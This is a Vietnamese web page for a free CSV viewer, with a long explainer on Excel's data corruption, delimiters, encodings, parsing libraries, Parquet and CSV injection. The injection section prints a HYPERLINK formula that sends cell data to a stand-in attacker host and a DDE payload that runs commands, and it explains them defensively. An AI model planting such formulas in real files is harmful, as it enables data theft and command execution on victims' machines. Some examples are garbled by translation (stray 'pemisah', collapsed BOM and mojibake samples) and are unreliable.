Trình xem CSV miễn phí
Hình dung, sắp xếp và tìm kiếm dữ liệu CSV ngay lập tức. Hỗ trợ nhiều pemisah với phát hiện tự động. Tải lên hoặc dán văn bản CSV để phân tích dữ liệu của bạn.
Tải lên một tệp CSV hoặc dán văn bản CSV để bắt đầu.
Về các tệp CSV
CSV (Comma-Separated Values) là một định dạng văn bản đơn giản để lưu trữ dữ liệu bảng. Mỗi dòng đại diện cho một dòng dữ liệu và dấu phẩy phân tách các cột. CSV được sử dụng rộng rãi cho việc trao đổi dữ liệu giữa các ứng dụng, cơ sở dữ liệu và spreadsheet.
Đặc điểm của CSV:
- Định dạng phổ quát: được hỗ trợ bởi Excel, Google Sheets, các cơ sở dữ liệu và hầu hết các công cụ dữ liệu
- Đơn giản và di động: văn bản thuần, có thể đọc bởi con người, hoạt động trên mọi nền tảng
- Các trường được trích dẫn: các giá trị chứa dấu phẩy hoặc xuống dòng có thể được đặt trong dấu ngoặc kép
- Nhiều pemisah: dấu phẩy, dấu chấm phẩy, tab hoặc thanh dọc
- Tiêu đề tùy chọn: dòng đầu tiên có thể chứa tên các cột
Cách xuất dữ liệu sang CSV?
Trong Excel: Lưu dưới dạng → CSV (pemisah: dấu chấm phẩy). Trong Google Sheets: Tệp → Tải xuống → CSV. Trong hầu hết các cơ sở dữ liệu: Xuất → định dạng CSV. CSV là định dạng xuất chuẩn cho dữ liệu bảng.
Nếu CSV của tôi chứa các ký tự đặc biệt thì sao?
CSV xử lý các ký tự đặc biệt bằng cách đặt trong dấu ngoặc kép. Các trường chứa dấu phẩy, dấu ngoặc kép hoặc xuống dòng phải được đặt trong dấu ngoặc kép kép. Các ký tự đặc biệt như é, ñ hoặc emoji được bảo tồn nếu tệp sử dụng mã hóa UTF-8.
Cách phát hiện tự động pemisah hoạt động như thế nào?
Công cụ này phân tích dòng đầu tiên của CSV của bạn để phát hiện pemisah nào xuất hiện đều đặn nhất. Để có kết quả tốt nhất với các pemisah khác thường, hãy chọn nó thủ công trong danh sách thả xuống.
Tại sao "xem CSV mà không có Excel" là trường hợp sử dụng riêng
Câu trả lời ngây thơ cho "làm thế nào để tôi mở một CSV?" là "nhấp đúp; Excel mở nó." Câu trả lời đó sai đối với một phần đáng ngạc nhiên của những người thực sự cần xem một CSV. Các lý do chia thành bốn nhóm, và mỗi cái là một lý do thực sự để đến với một trình xem dựa trên trình duyệt như cái này.
1. Excel phá hủy dữ liệu khi mở. Ví dụ được trích dẫn nhiều nhất là thảm họa tên gene, Excel đọc MARCH1 và viết 1-Mar, đọc SEPT2 và viết 2-Sep. HUGO Gene Nomenclature Committee đã từ bỏ cuộc chiến với Excel và đổi tên hai mươi bảy gene người vào năm 2020 vì sự hư hỏng dữ liệu rất phổ biến. Một bài báo PLOS Computational Biology năm 2020 xem xét 3.597 bài báo phát hiện rằng khoảng một phần năm dữ liệu di truyền bổ sung đã bị Excel tự động chuyển đổi âm thầm cắt xén. Các gene là trường hợp nổi tiếng nhưng cùng một cơ chế ăn mã ZIP Mỹ (01234 trở thành 1234), SKU sản phẩm với số không đầu, ký hiệu phân số trong âm nhạc hoặc hóa học (3/4, 4/4), số seri có hình dạng ngày (1-1, 2-2), số máy nhánh điện thoại, và số tài khoản trong ký hiệu khoa học (9.18e+12 thay vì 9180000000000). Một trình xem, thứ gì đó hiển thị các byte thô như được viết, không chỉ là sự tiện lợi; đó là một nguyên thủy chính xác. Nếu bạn phải xác minh một cột ID khách hàng đã sống sót qua một lần xuất khẩu nguyên vẹn, bạn cần một trình xem không phân tích, không ép buộc, không "giúp đỡ."
2. Excel không có trên máy. Một phần không tầm thường của laptop vào năm 2026 không có giấy phép Microsoft 365. Chromebook được giao mà không có nó; nhiều cài đặt Linux sử dụng LibreOffice Calc với các đặc điểm riêng; nhiều người dùng Mac mở CSV trong Apple Numbers, vốn lặng lẽ bọc các dòng dài và có cá tính ép buộc số riêng của nó. Bất cứ ai cố gắng kiểm tra một tệp trên một máy do công ty cấp mà họ không thể cài đặt phần mềm trên đó, hoặc trên một thiết bị mượn, hoặc trên một kiosk, đều cần một công cụ chạy trong bất kỳ tab trình duyệt nào mà không cần quyền.
3. Tệp lớn hơn những gì Excel cho phép. Excel 2007 đã giới thiệu .xlsx và nâng trần hàng từ 65.536 hàng của .xls lên 1.048.576 hàng (2²⁰). Trần cột tăng từ 256 lên 16.384 (2¹⁴). Trong hai thập kỷ, đó là đủ cho hầu hết mọi người. Nó không còn đủ cho nhiều người. Một nhật ký máy chủ khiêm tốn có thể tạo ra hai triệu hàng trong một tuần. Một xuất khẩu Shopify của một năm đơn hàng cho một cửa hàng cỡ trung có thể vượt qua một triệu. Một luồng cảm biến lấy mẫu ở một hertz tạo ra 86.400 hàng mỗi ngày; một năm là 31,5 triệu. Việc xử lý tràn của Excel rất tàn bạo: nó âm thầm cắt xén ở hàng 1.048.576 và tiếp tục như thể không có gì xảy ra. Không có biểu ngữ cảnh báo. Người dùng phát hiện các hàng bị thiếu vài tuần sau, nếu có.
4. Di động. Các ứng dụng bảng tính trên iOS và Android là công dân hạng hai. Ứng dụng Excel di động tồn tại nhưng bị khóa sau tài khoản Microsoft, có một tập hợp con nhỏ của các tính năng máy tính, và đau đớn để kiểm tra các bảng rộng trên một điện thoại. Đôi khi bạn chỉ cần mở một tệp đính kèm mà một đồng nghiệp đã gửi email cho bạn, liếc nhìn vài hàng, chụp ảnh màn hình, và trả lời. Một trình xem CSV tải trong một trình duyệt di động, định dạng dữ liệu như một bảng HTML có thể cuộn, và không làm gì khác là công cụ tốt nhất cho công việc đó.
Và một nhóm thứ năm, nhỏ hơn: chụp màn hình cho một tin nhắn. Thường những gì một người thực sự muốn là một hình ảnh sạch sẽ của ba hoặc bốn hàng mà họ có thể dán vào Slack, vào một vé, vào một câu trả lời email. Mở tệp trong Excel và chụp ảnh màn hình đó tạo ra một hình ảnh với ribbon, đường lưới, bộ chọn ô đang hoạt động, và dải đường dẫn tệp trên đầu, hai mươi phần trăm của ảnh chụp màn hình là chrome Excel. Một bảng HTML trần được render trong một tab trình duyệt là đối tượng chụp màn hình sạch nhất có thể.
Một lịch sử ngắn (các phần quan trọng cho việc xem)
Lịch sử CSV đầy đủ ở trang đồng hành text-to-csv, IBM Fortran 1972, hàng thập kỷ sử dụng không chính thức, RFC 4180 cuối cùng đã được Yakov Shafranovich xuất bản vào tháng 10 năm 2005, kiểu MIME text/csv đăng ký với IANA, W3C Model for Tabular Data and Metadata on the Web (CSVW) đạt trạng thái W3C Recommendation vào ngày 17 tháng 12 năm 2015 (và phần lớn bị bỏ qua trong thực tế). Điều quan trọng cho việc xem cụ thể là không có tài liệu nào trong số đó chỉ định cách hiển thị một CSV. Không có chiều rộng cột chính tắc, không có quy ước căn chỉnh, không có quy tắc về việc hàng 1 có phải là tiêu đề hay không. RFC 4180 nói với người viết cách thoát dấu phẩy; nó không nói gì với người đọc về cách render. Công việc của trình xem không được xác định bởi đặc tả.
Những gì chúng ta có là các quy ước phát sinh trong phần mềm bảng tính (căn trái văn bản, căn phải số, đóng băng hàng đầu, màu hàng xen kẽ để dễ đọc) và các quy ước từ bảng web (tiêu đề có thể sắp xếp, vị trí dính, đầu vào tìm kiếm phía trên lưới). Một trình xem CSV hiện đại về cơ bản là một UI bảng tính trừ đi việc chỉnh sửa.
Các bẫy ngôn ngữ-dấu phân tách và BOM
Sự hỗn loạn dấu phân tách-ngôn ngữ cắn các nhà văn CSV cũng cắn các độc giả, dấu phẩy ở en-US, dấu chấm phẩy ở fr-FR / de-DE / it-IT / es-ES / pt-BR, tab và ống dẫn ở mọi nơi khác. Một trình xem mã hóa cứng dấu phẩy và render một "CSV" tiếng Pháp như một cột duy nhất mỗi hàng bị hỏng khi đến. Mặc định "Auto-detect" của công cụ này với ghi đè thủ công là thiết kế đúng: cố gắng làm điều thông minh, nhưng khi heuristic thất bại (và nó sẽ, trên các tệp có một cột giá trị tất cả đều chứa dấu phẩy), người dùng có thể chọn.
Byte-order mark, ba byte EF BB BF ở đầu tệp UTF-8, mã hóa U+FEFF, tồn tại vì Excel trên Windows từ chối phát hiện UTF-8 mà không có nó. Một nhà văn CSV lịch sự đặt BOM phía trước để thân thiện với Excel; chi phí rơi vào mọi độc giả khác. Hầu như mọi công cụ dòng lệnh, awk, cut, head, tail, sed cũ hơn, xử lý BOM như một phần của trường đầu tiên. Một tiêu đề cột nên đọc name đọc name. Mô-đun csv tích hợp của Python không loại bỏ BOM trừ khi tệp được mở với codec utf-8-sig; một triệu hướng dẫn sử dụng utf-8 đơn giản và âm thầm tạo ra các trình phân tích bị hỏng. Nếu bạn thấy một ký tự lạ trước tiêu đề cột đầu tiên của bạn, đó là byte-order mark UTF-8, không phải lỗi trong tệp, chỉ là một sự không khớp giữa bộ mã hóa và bộ giải mã.
Bốn biến thể CSV của Excel
Hộp thoại Save As của Excel cung cấp bốn định dạng "CSV", và các nhãn gây hiểu lầm. Nhãn "Comma delimited" thực sự sử dụng dấu phân tách danh sách bản địa của người dùng, là dấu chấm phẩy ở hầu hết châu Âu lục địa và châu Mỹ Latinh.
- CSV (Comma delimited): sử dụng dấu phân tách danh sách bản địa của người dùng, trang mã ANSI, không có BOM, CRLF.
- CSV UTF-8 (Comma delimited): đã thêm vào Excel 2016, là loại duy nhất trong bốn loại sử dụng UTF-8 (với BOM).
- CSV (Macintosh): mã hóa MacRoman, kết thúc dòng chỉ CR của Mac cổ điển, phần lớn lỗi thời nhưng vẫn xuất hiện.
- CSV (MS-DOS): trang mã OEM (CP437 ở en-US, CP850 ở Tây Âu).
Một trình xem muốn "chỉ hoạt động" trên mọi biến thể phải phát hiện mã hóa (UTF-8 ± BOM, UTF-16 với BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), kết thúc dòng (CRLF / LF / CR), dấu phân tách (dấu phẩy / dấu chấm phẩy / tab / pipe / tùy chỉnh), kiểu trích dẫn (RFC 4180 doubled-quote, dấu gạch chéo ngược, không có), và sự hiện diện của tiêu đề. Phát hiện tất cả những điều này một cách đáng tin cậy thực sự khó. Cách tiếp cận thực dụng là: phát hiện những gì bạn có thể, hiển thị các ghi đè thủ công cho phần còn lại, và không bao giờ thất bại âm thầm. Công cụ này hiển thị dấu phân tách bằng tay, xử lý điều bất ngờ phổ biến nhất. Hiện tại nó không hiển thị mã hóa, một CSV tiếng Pháp được xuất dưới dạng Windows-1252 với các ký tự có dấu sẽ hiển thị mojibake (é thay vì é) cho đến khi điều đó cũng có được sự ghi đè thích hợp.
Phân tích phía-trình-duyệt, các thư viện
Thư viện CSV phía-client thống trị là PapaParse, được tạo bởi Matt Holt vào năm 2013 và hiện tại khoảng 13,4k sao GitHub. Khẩu hiệu của nó, "trình phân tích CSV in-browser nhanh nhất", không phải là phóng đại. Nó tuân thủ RFC 4180, được cấp phép MIT, không phụ thuộc, và hỗ trợ phân tích chuỗi đồng bộ, phân tích tệp không đồng bộ thông qua FileReader, phân tích streaming chunk-by-chunk cho các tệp lớn hơn RAM, và phân tích worker-thread để giữ UI phản hồi. PapaParse là mặc định trong bất kỳ công cụ CSV phía-trình-duyệt nào trừ khi có lý do cụ thể để không.
Về phía Node, lựa chọn chính tắc là csv-parse (Adaltas, lần đầu phát hành 2010), được thử thách trong chiến đấu, hiển thị cả API dựa trên callback và API dựa trên stream. csv-parser của mafintosh ưu tiên thông lượng thô hơn chiều rộng tính năng. fast-csv (C2FO) là cặp parser-and-formatter được xây dựng bằng TypeScript cho các cửa hàng muốn cả đọc và viết trong cùng một thư viện.
Streaming cho các tệp lớn hơn RAM
Đọc CSV ngây thơ trong trình duyệt sử dụng FileReader.readAsText(file), đọc toàn bộ tệp vào bộ nhớ trước khi gọi onload. Đối với một tệp một trăm megabyte, đó là một trăm megabyte heap JavaScript. Đối với một tệp một gigabyte, tab trình duyệt sẽ hết bộ nhớ hoặc thrash đến mức dừng lại trên hầu hết phần cứng tiêu dùng.
Lựa chọn thay thế hiện đại là Streams API, có sẵn dưới dạng File.prototype.stream() kể từ Chrome 71 và Firefox 65. Gọi file.stream() trả về một ReadableStream<Uint8Array> tạo ra các byte của tệp trong các chunk. Người tiêu dùng đọc từ luồng, giải mã từng chunk thông qua TextDecoder (với cờ stream: true để các chuỗi UTF-8 đa-byte vượt qua ranh giới chunk được ghép đúng cách), và đưa văn bản vào một trình phân tích streaming. PapaParse có thể tiếp nhận một luồng trực tiếp thông qua callback step hoặc chunk của nó. Kết quả là phân tích bộ nhớ không đổi của các tệp lớn tùy ý.
Đối với một trình xem, streaming một mình không đủ, bảng được render cũng phải được ảo hóa, nếu không thì việc render mười triệu phần tử <tr> sẽ làm hỏng trang ngay cả khi phân tích thành công. Mẫu kiến trúc tiêu chuẩn: stream-parse-to-IndexedDB khi tải, virtualised-render-from-IndexedDB khi cuộn. Công cụ này hiện được tối ưu hóa cho các tệp ở mức thấp hàng chục megabyte, cho quy trình "Tôi chỉ muốn xem tệp này" điển hình bao gồm gần như tất cả mọi người. Đối với CSV nhiều-gigabyte, hãy xem các công cụ máy tính như Visidata, mệnh đề FROM của CLI DuckDB, hoặc csvlook của csvkit.
Sắp xếp, lọc, pivot, cảnh quan lưới JavaScript
Sau khi dữ liệu vào trang, người dùng muốn làm ba điều: sắp xếp theo cột, lọc các hàng, đôi khi pivot. Có cả một ngành công nghiệp các thư viện JavaScript triển khai lại các điều này trong DOM trình duyệt:
- DataTables.js của Allan Jardine (công việc bắt đầu năm 2008, SpryMedia thành lập năm 2011) là ông nội. Lấy bất kỳ HTML
<table>nào, nhận các tiêu đề có thể sắp xếp, đầu vào tìm kiếm tức thì, phân trang, và điều khiển hiển thị/ẩn cột. Dựa trên jQuery ban đầu; hoạt động tốt như một drop-in. Thoải mái lên đến hàng chục nghìn hàng; cho hàng trăm nghìn phân trang trở thành điểm tựa. - AG Grid của Niall Crosby (2015, sinh ra từ sự thất vọng của Crosby với các lưới trên các sàn giao dịch London) là hạng nặng. Được xây dựng xung quanh ảo hóa DOM, chỉ các hàng hiển thị trong viewport mới thực sự được render, vì vậy nó có thể thoải mái hiển thị một triệu hàng với một thanh cuộn duy nhất. Community Edition miễn phí (MIT) cộng với Enterprise Edition trả phí (bảng pivot, bộ lọc nâng cao, biểu đồ tích hợp, mô hình hàng phía máy chủ). Lựa chọn mặc định cho "Tôi đang xây dựng một công cụ dữ liệu nghiêm túc cần trông giống Excel trong trình duyệt."
- Tabulator của Oli Folkerd là lựa chọn thay thế không phụ thuộc hiện đại. Phiên bản 4.0 (2018) đã loại bỏ tất cả các phụ thuộc bao gồm jQuery; nằm ở điểm ngọt giữa "DataTables quá mang hương vị jQuery" và "AG Grid quá nhiều."
Đối với pivot cụ thể, PivotTable.js của Nicolas Kruchten là thư viện JS được trích dẫn nhiều nhất; chế độ pivot AG Grid Enterprise là lựa chọn thương mại. Pivot là một thao tác nặng thường tốt hơn khi xuất dữ liệu sang một công cụ có thể chỉ mục nó trước.
CSV vs Apache Parquet cho khối lượng công việc phân tích
Lý do CSV tồn tại là văn hóa và quán tính, không phải kỹ thuật. Đối với phân tích nghiêm túc, định dạng đã ăn bữa trưa của CSV là Apache Parquet, một định dạng nhị phân theo cột ban đầu được phát triển chung bởi các kỹ sư tại Twitter và Cloudera vào năm 2013, được chấp nhận là dự án cấp cao nhất của Apache Software Foundation vào ngày 27 tháng 4 năm 2015. Parquet lưu trữ dữ liệu theo cột thay vì theo hàng, đó là sự đảo ngược quan trọng đối với phân tích: một truy vấn như SELECT AVG(price) FROM big_table chỉ đọc cột price từ đĩa, bỏ qua mọi cột khác hoàn toàn. Với CSV, cùng một truy vấn phải đọc từng byte của tệp.
Parquet cũng mang siêu dữ liệu schema (do đó các loại được rõ ràng, không phải suy luận), sử dụng nén theo cột thường xuyên đạt tỷ lệ 5-10x so với CSV không nén, và hỗ trợ predicate pushdown để các engine có thể bỏ qua toàn bộ các nhóm hàng dựa trên thống kê cột. Đó là định dạng tệp mặc định trên Snowflake, BigQuery, Databricks, Amazon Athena, và về cơ bản mọi kho dữ liệu đám mây hiện đại và lakehouse. Nếu bạn đang lặp lại việc xem cùng một tệp quy mô gigabyte, hãy xem xét Parquet, nó nhanh hơn và nhỏ hơn và hầu như mọi công cụ dữ liệu hiện đại đều đọc nó nguyên bản. CSV bây giờ được hiểu tốt nhất là định dạng trao đổi giữa con người và đuôi dài của phần mềm tiêu dùng, trong khi Parquet là định dạng lưu trữ giữa các máy.
CSV injection, góc bảo mật
CSV injection, đôi khi được gọi là formula injection, là cuộc tấn công nơi một giá trị trong một ô CSV bắt đầu bằng =, +, -, hoặc @, khiến Excel và Google Sheets diễn giải nó như một công thức khi tệp được mở. OWASP đã ghi lại điều này từ ít nhất 2014. Ví dụ sách giáo khoa là =2+5 render thành 7 thay vì như văn bản theo nghĩa đen. Ví dụ nguy hiểm là =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") mà, khi được nhấp, lọc nội dung của ô A1 cho kẻ tấn công. Ví dụ thực sự nguy hiểm là =cmd|'/c calc'!A0, trên một số phiên bản Excel có thể khởi chạy các lệnh tùy ý qua DDE, được giảm nhẹ đáng kể bởi các thay đổi DDE mặc định năm 2018 của Microsoft, nhưng vẫn có mặt trong một số cấu hình.
Mitigation tiêu chuẩn, theo hướng dẫn của OWASP: khi tạo CSV từ văn bản do người dùng gửi, đặt một dấu nháy đơn trước bất kỳ ô nào bắt đầu bằng =, +, -, @, tab, hoặc carriage-return. Một trình xem là phía nhận của cuộc tấn công này, không phải phía bắt nguồn, nhưng nếu bạn đã mở một CSV ở đây có chứa các ô được tiền tố công thức, đó là một gợi ý mạnh mẽ không mở cùng một tệp trong Excel mà không thay thế các ô đó trước. Toàn bộ điểm của việc kiểm tra trong trình xem trước là để bắt chính xác loại bẫy này.
Những nơi thực tế mọi người mở loại trình xem này
- CSV sao kê ngân hàng hoặc fintech. Hầu hết các ngân hàng bán lẻ cho phép khách hàng tải xuống một năm lịch sử giao dịch dưới dạng CSV. Khách hàng muốn xem tệp trước khi nhập vào ứng dụng ngân sách, công cụ thuế, hoặc bảng tính kế toán, xác minh phạm vi ngày, đếm giao dịch, tìm kiếm một thương gia cụ thể.
- Xuất dữ liệu IoT và cảm biến. CSV trạm thời tiết, nhật ký cảm biến độ ẩm đất, xuất đồng hồ điện thông minh nhà. Thường là hàng chục nghìn hàng. Người dùng đang xác nhận việc lấy mẫu tiếp tục thông qua một khoảng thời gian cụ thể và không có khoảng trống nào.
- Dump nhật ký máy chủ. Định dạng nhật ký kết hợp Apache được chuyển đổi thành CSV, các bản ghi syslog được xuất qua
logger -t, nhật ký ứng dụng được vận chuyển đến S3 và được tải xuống để kiểm tra. - Xuất CRM và SaaS. Salesforce Account export, HubSpot contacts, Stripe customers, Mailchimp audience, Shopify orders, Notion database. Mỗi nền tảng SaaS có định dạng CSV và các điểm kỳ quặc của riêng nó. Người dùng đang kiểm tra trước bulk-edit, trước re-import, hoặc trước khi giao tệp cho đồng nghiệp.
- Phản hồi khảo sát. Google Forms, SurveyMonkey, Typeform, Qualtrics, tất cả đều xuất CSV theo mặc định. Các nhà nghiên cứu muốn xem các phản hồi văn bản mở, có được cảm giác về phân phối, xác minh không có gì trống.
- Tải xuống dữ liệu công cộng. Cổng thông tin dữ liệu mở của chính phủ (data.gov, data.gov.uk, EU Open Data Portal), xuất dữ liệu Wikipedia, kho dữ liệu khoa học. CSV là mẫu số chung phổ quát.
- Chuẩn bị nhập hàng loạt. Người dùng đã lắp ráp một CSV bằng tay hoặc với một công cụ khác và muốn xác minh rằng nó được hình thành tốt trước khi tải nó lên một hệ thống sẽ âm thầm từ chối các hàng sai định dạng. Trình xem là dry-run.
- Kế thừa. Một đồng nghiệp đã gửi một CSV. Người dùng không biết những gì có trong đó. Họ muốn liếc nhìn trước khi quyết định xem có nên tham gia sâu hơn hay không.
Câu hỏi khác
Cái này có thể mở tệp lớn đến mức nào?
Triển khai hiện tại thoải mái với các tệp ở mức thấp hàng chục megabyte, loại dễ dàng phù hợp với bộ nhớ trình duyệt và render như một bảng HTML hợp lý. Đối với các tệp ở hàng trăm megabyte hoặc lớn hơn, trang sẽ chậm; đối với các tệp đến gigabyte, tab trình duyệt có thể hết bộ nhớ và bị sập. Đối với các CSV rất lớn, hãy xem các công cụ máy tính như Visidata, csvlook của csvkit, hoặc FROM 'file.csv' SELECT của CLI DuckDB.
Tại sao CSV của tôi trông như một cột khổng lồ?
Phát hiện dấu phân tách tự động đoán sai. Điều này phổ biến nhất khi tệp sử dụng dấu chấm phẩy (hầu hết châu Âu lục địa), tab (các tệp TSV bị gán nhãn sai là CSV), hoặc ống dẫn (một số xuất cơ sở dữ liệu). Chuyển menu thả xuống dấu phân tách thành ký tự chính xác, thường thì phần mở rộng tệp và nội dung thực tế không đồng ý.
Các ký tự có dấu của tôi trông như rác. Có chuyện gì vậy?
Không khớp mã hóa, tệp được mã hóa trong Windows-1252 (hoặc một mã hóa không phải UTF-8 khác) và công cụ đang diễn giải nó như UTF-8. Triệu chứng cổ điển là é hiển thị dưới dạng é. Trình xem hiện tại không hiển thị ghi đè mã hóa, nhưng bạn có thể lưu lại tệp dưới dạng UTF-8 trong bất kỳ trình soạn thảo văn bản hiện đại nào (Notepad++, VS Code, BBEdit, gedit, ngay cả Notepad trên Windows mới) và mở lại nó ở đây.
Tôi nên sử dụng cái này hay chỉ mở nó trong Excel?
Nếu CSV của bạn chỉ chứa dữ liệu Excel không thể vô tình làm hỏng, các cột văn bản tản văn thuần túy, các số nguyên đơn giản trong một phạm vi bình thường, các ngày trong định dạng Excel mong đợi, Excel ổn và các công cụ chỉnh sửa phong phú hơn. Nếu CSV của bạn chứa bất cứ thứ gì Excel có thể viết lại (tên gene, mã ZIP với số không đầu, các phân số như 3/4, các chuỗi có hình dạng ký hiệu khoa học, bất cứ thứ gì bạn cần bảo tồn byte-cho-byte), hãy mở nó trong trình xem trước để xác nhận những gì thực sự có trong nó trước khi để Excel chạm vào nó. Giờ bạn dành để mở nó ở đây rẻ hơn nhiều so với việc phát hiện ra một tuần sau rằng Excel đã đổi tên tập gene của bạn.